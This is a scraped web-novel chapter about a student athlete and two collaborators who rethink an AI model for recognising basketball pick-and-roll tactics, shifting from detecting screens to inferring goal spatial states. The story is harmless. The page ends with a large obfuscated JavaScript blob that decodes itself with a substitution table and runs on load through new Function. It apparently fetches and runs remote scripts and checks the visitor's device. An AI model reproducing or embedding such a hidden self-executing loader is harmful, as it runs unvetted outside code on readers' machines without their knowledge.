首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第591章 灵感迸发

下载APP,无广告、完整阅读
    第591章灵感迸发(第1/2页)
    深夜研讨带来的方向性清晰并未能立即转化为实质进展,反而像打开了潘多拉魔盒,释放出更多、更具体、也更令人头疼的细节问题。韩澈的“数据翻译”工作陷入了泥沼。
    他开始系统地、一帧一帧地观看比赛录像,试图将自己和教练组那些基于经验和直觉的战术描述,转化为可供模型学习的量化规则。然而,现实远比规则复杂。他先前设想的、基于距离和角度的“理想掩护位置”,在高速动态、充满对抗的比赛录像面前,显得如此笨拙和僵化。
    有些挡拆,掩护人只是虚晃一枪,甚至没有实质性的身体接触,仅凭跑位和眼神就带走了防守人,为持球人创造了突破空间——这算挡拆吗?如何用坐标和速度定义这种“无效接触但有效掩护”?
    有些挡拆,掩护人明明站定了位置,角度也符合理论,但防守人极其敏捷,一个侧身就挤了过去,掩护失败——那么,模型应该识别这是“一次失败的挡拆尝试”,还是“根本不算挡拆”?
    更复杂的是“换防”(switch)。当防守方选择换防时,进攻方挡拆的意图依然存在,但战术效果和后续发展截然不同。模型能否区分“成功挡拆形成错位”和“挡拆引发换防”?这需要模型不仅能识别进攻方的意图和行为,还要理解防守方的应对策略,难度呈指数级上升。
    韩澈尝试统计各种阈值:发起挡拆时,掩护人与持球人防守者之间的“有效”距离范围、角度范围、相对速度差……他反复观看、测量、记录,却发现数据的分布极其广泛,重叠严重,难以找到一个清晰的边界将“是挡拆”和“不是挡拆”干净利落地分开。篮球是人的运动,充满了模糊性和即兴发挥,而AI模型,至少是目前他们试图构建的模型,渴望的是清晰、确定的规则。
    他感到一种前所未有的挫败。在球场上,他能凭借经验和直觉,在电光石火间判断出这是一次成功的挡拆配合,并做出相应决策。但将这种直觉分解、量化、翻译成冷冰冰的数字和逻辑语句,却如此艰难。他提供给王睿的所谓“量化定义”和标注数据,自己都感到漏洞百出,信心不足。
    与此同时,王睿在模型实现上也遇到了瓶颈。即使加入了韩澈绞尽脑汁设计的一系列衍生特征(如“面向持球人角度变化率”、“与理论掩护位置偏移量”等),模型在训练集上的表现依然起伏不定,在验证集上的准确率勉强超过随机猜测,且极不稳定。更糟糕的是,模型似乎学“偏”了——它更多地依赖于持球人是否开始加速突破、或者球员之间是否发生了近距离聚集这类表面特征,而不是真正理解了“掩护”这一战术意图。这意味着,模型可能把一次简单的突破分球,或者一次偶然的球员碰撞,也误判为挡拆。
    “这模型有点‘傻’,”王睿在群里吐槽,附上一张混乱的注意力权重热力图,“它好像更关注‘动’和‘聚’,而不是‘挡’的逻辑关系。我们定义的图结构,可能没抓住关键。”
    苏晚的回应依然冷静而尖锐:“这说明我们设计的节点特征和边特征,还没有很好地编码战术语义。或者,我们构建的图本身(只包含场上10名球员)粒度太粗,忽略了篮球规则和角色信息。持球人和无球人,掩护人和被掩护人,在战术层面意义不同,但在模型眼里,他们只是10个类似的节点。”
    讨论再次陷入僵局。问题的核心似乎在于,他们试图用低层次的时空轨迹数据,去让模型理解高层次的战术语义,这中间存在着巨大的“语义鸿沟”。如何填补?更多的特征工程?更复杂的模型结构?还是从根本上重新思考问题建模的方式?
    韩澈感到一种无力。他的篮球知识似乎被困在了一个无法有效输出的层面。他知道什么是好的挡拆,能分析出一次配合成功或失败的原因,但这些“知道”和“能分析”,是基于他十几年打球积累的、内化的复杂模式识别和情境理解,其中包含了大量的背景知识(规则、球员习惯、球队风格、实时比分等),这些如何教给模型?
    压力与日俱增。除了课题,本专业的期中考试接踵而至,训练也不能有丝毫松懈。他像一根越绷越紧的弦,白天奔波于教室、训练馆,晚上则沉浸在无尽的录像分析和令人沮丧的模型结果中,睡眠时间被压缩到极限,眼睛里时常带着血丝。有时在训练中,一个简单的战术跑位,都会让他下意识地去想,这个过程的坐标序列该如何表示,模型能否识别。
    周振国教练看出了他的异常,在一次训练结束后把他留了下来。“小子,魂不守舍的,想什么呢?球都传丢了!”老周的语气带着责备,更多的是关切,“听说你搞了个什么……电脑分析篮球的玩意儿?别本末倒置,把自己脑子搞乱了。球场上的东西,有时候就得靠这里,”他点了点自己的太阳穴,“和这里,”又捶了捶胸口,“不是光靠电脑算得出来的。”
    教练的话像一盆冷水,让焦躁中的韩澈稍微清醒了一些。他知道教练说得对,篮球不仅仅是数据。但问题在于,他现在的目标,恰恰是要找到数据和直觉之间的那座桥。
    转机,发生在一个极其寻常的下午。那天没有训练,韩澈在图书馆熬了一个通宵修改实验报告后,头脑昏沉,决定去体育馆随便投投篮,放松一下紧绷的神经。空荡荡的训练馆里,只有篮球撞击地板的单调回声。他漫无目的地练习着投篮,从各个角度,用各种方式。起跳,出手,看球划过弧线,刷网而入,或者弹框而出。
    他并没有思考课题,只是让身体机械地运动,放空大脑。投丢了几个球后,他停下来,走到场边喝水,目光无意识地落在光滑如镜的木质地板上,那里映出体育馆高窗投下的几何光影。
    忽然,一个极其普通、却在此刻显得异常清晰的画面,击中了他。
    他看到了自己投出的篮球,在空中的弧线。一道优美的抛物线。高中物理就学过的,斜抛运动。初速度,出手角度,重力加速度……这些概念清晰地浮现。然后,他想到防守球员试图封盖他的投篮。防守者的起跳时机、封盖高度,取决于对他出手角度和速度的判断。如果防守者判断失误,起跳早了或晚了,高了或低了,他就可能获得投篮空间。
    这再简单不过了。但下一刻,这个画面与他日夜思索的“挡拆识别”问题,发生了奇异的勾连。
    挡拆的本质是什么?是进攻方两名球员通过有目的的移动和站位,改变防守方的相对位置,为持球人创造暂时的、局部的优势空间(突破或投篮)。这个“创造空间”的过程,是否也可以看作一种对“防守态势”的、主动的、协同的“干扰”或“重构”?
    当前模型试图直接从球员的原始轨迹中识别“挡拆”模式,就像试图直接从篮球的飞行轨迹照片中理解“投篮”这个战术意图一样,忽略了背后最基本的物理规律和博弈逻辑。投篮之所以是投篮,是因为球员在特定位置、以特定方式出手,目的是让球以特定轨迹进入篮筐。挡拆之所以是挡拆,是因为两名进攻球员通过特定的相对运动(掩护),目的是改变防守球员的相对位置关系,从而创造出符合某种“成功条件”的空间格局。
    (本章未完,请点击下一页继续阅读)第591章灵感迸发(第2/2页)
    “成功条件”!这个词如同闪电,劈开了他脑海中的迷雾。
    他之前一直在纠结如何定义“掩护”这个动作本身,却忽略了挡拆的“目的”——创造出有利的进攻局面。这个“有利局面”,是否可以用更本质的、基于空间和博弈的状态来描述?比如,持球人与其对位防守者之间的有效距离是否被拉开到某个阈值以上?或者,持球人面前是否出现了清晰的突破路径(用防守球员位置形成的“通道”来定义)?而掩护人的作用,就是通过自己的站位和移动,去“破坏”原有的防守对齐,帮助达成这个“成功条件”。
    换句话说,与其让模型艰难地从底层轨迹中学习抽象的“掩护意图”,不如将问题拆解、转化:先定义出挡拆“试图达成”的几种理想目标空间状态(如“错位”、“突破通道形成”),然后让模型去判断,在特定的时刻,球员的移动和站位,是否正在“协同”地朝着实现这些目标状态而努力?甚至,可以评估当前局势距离达成这些目标状态还有多远?
    这个思路的核心转变在于:从识别“过程”(难以定义的掩护动作),转变为推断“目标”和评估“态势”,并分析球员移动与达成该目标之间的因果/协同关系。这更接近篮球战术的本质——一切都是为了创造更好的得分机会。也似乎更符合人类(包括他自己)判断一次挡拆是否发生、是否成功的逻辑:我们不是单纯看有没有身体接触,而是看这次接触是否导致了防守阵型的有利变化。
    这个想法让他心跳加速。他立刻掏出手机,打开备忘录,手指飞快地打字,记录下这瞬间迸发的灵感火花。他画下简单的示意图,标注出“持球人”、“原防守人”、“掩护人”、“换防/补防人”,试图用箭头和区域来描述他想到的几种“目标态势”。
    他越想越觉得,这个思路或许能绕过之前“语义鸿沟”的部分难题。模型可以学习“什么样的空间格局是对进攻方有利的”(这可以从大量的比赛结果数据中间接学习,或者由领域知识定义),然后反向评估球员的移动在多大程度上是为了实现这种格局。这或许能更好地捕捉战术意图,而不仅仅是表面动作。
    然而,如何将这个定性的想法,转化为具体的、可计算的模型框架?他卡住了。这涉及到更复杂的态势建模、目标函数定义、以及多智能体(球员)协同意图的推理。这远远超出了他目前的知识范围。他需要帮助。
    他没有丝毫犹豫,立刻在三人课题小群里,发了一条长长的信息,详细描述了自己刚才的灵感,包括那个“从投篮到挡拆”的联想,以及从“识别过程”到“推断目标/评估态势”的思路转变。他尽可能清晰地用文字和手绘的示意图照片表达自己的想法,同时也坦承不知道如何实现。
    信息发出后,时间仿佛变慢了。韩澈紧紧盯着手机屏幕,心脏在胸腔里怦怦直跳。他不知道这个近乎“异想天开”的想法,在苏晚和王睿这样的专业人士眼里,是否幼稚可笑,或者早已是学术界研究过、被证明行不通的路径。
    几分钟后,王睿先回复了:“我靠!韩队!你这个角度有点意思啊!从目标反推过程?这不就是逆向思维吗?有点像强化学习里定义奖励函数,让智能体自己去学策略?不过我们这个是识别,不是决策……等等,让我捋捋……”后面跟了一连串表示震惊和思考的表情包。
    又过了一会儿,苏晚的消息才跳出来。比王睿的简短,却让韩澈瞬间屏住了呼吸。
    “思路有价值。从目的(创造有利空间态势)而非单一动作(掩护)定义战术,更接近本质。这涉及到多智能体协同目标识别和空间态势建模。相关研究在机器人协作、足球比赛分析中有探索,但在篮球战术识别中应用不多。可以尝试用图神经网络建模动态空间关系,并引入一个可学习的‘目标达成度’评估模块,或者用注意力机制显式建模球员移动对空间态势的影响。需要重新设计节点和边的特征,可能还需要引入球场区域的先验信息。@王睿可以查一下‘Spatial-TemporalGraphNetworksforGoal-OrientedActivityRecognition’和‘ModelingMulti-AgentCollaborationwithGraphAttention’这几篇文献。@韩澈你需要进一步细化你提出的几种‘目标空间态势’,并用更形式化的语言描述,最好能给出数学上的初步定义或约束条件。”
    她没有说“这想法很好”,也没有说“这不行”,而是直接给出了专业层面的反馈和后续研究方向。她的用词冷静而准确,“有价值”、“更接近本质”、“可以尝试”,并立刻将韩澈那还带着篮球场汗水气息的灵感,与学术界的前沿概念(多智能体协同、空间态势建模、图注意力)连接起来,指明了可能的实现路径。
    韩澈看着屏幕上那几行字,长时间紧绷的神经仿佛被一道暖流拂过,一种混合着豁然开朗、被认可的振奋以及面对新挑战的跃跃欲试的情绪,涌上心头。他的灵感,没有被嗤之以鼻,反而被严肃对待,并被赋予了在学术框架下继续深化的可能。更重要的是,苏晚的回应让他看到,他的篮球直觉和专业知识,并非无用,而是可以转化为推动课题前进的关键燃料。
    “收到!我立刻去细化‘目标态势’的定义,尝试用更数学的方式描述!”韩澈飞快地回复,感觉多日来的疲惫和迷茫被一扫而空,取而代之的是清晰的目标和充沛的干劲。
    “太好了!我也去找文献!感觉有新方向了!”王睿也充满干劲。
    研讨群里的气氛,因为韩澈这个源自球场直觉的灵感迸发,而重新被点燃。虽然前路依然困难重重,如何将“目标态势”形式化,如何设计对应的模型结构,如何标注数据,都是巨大的挑战。但至少,他们不再是在原有的死胡同里打转,而是看到了一扇新的、可能通向更深处的大门。灵感已经迸发,接下来,是将这火花,转化为可以燎原的、扎实的火焰。而这一次,韩澈无比确信,自己手中的燃料,不可或缺。

一秒记住【882小说网】
882xsw.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();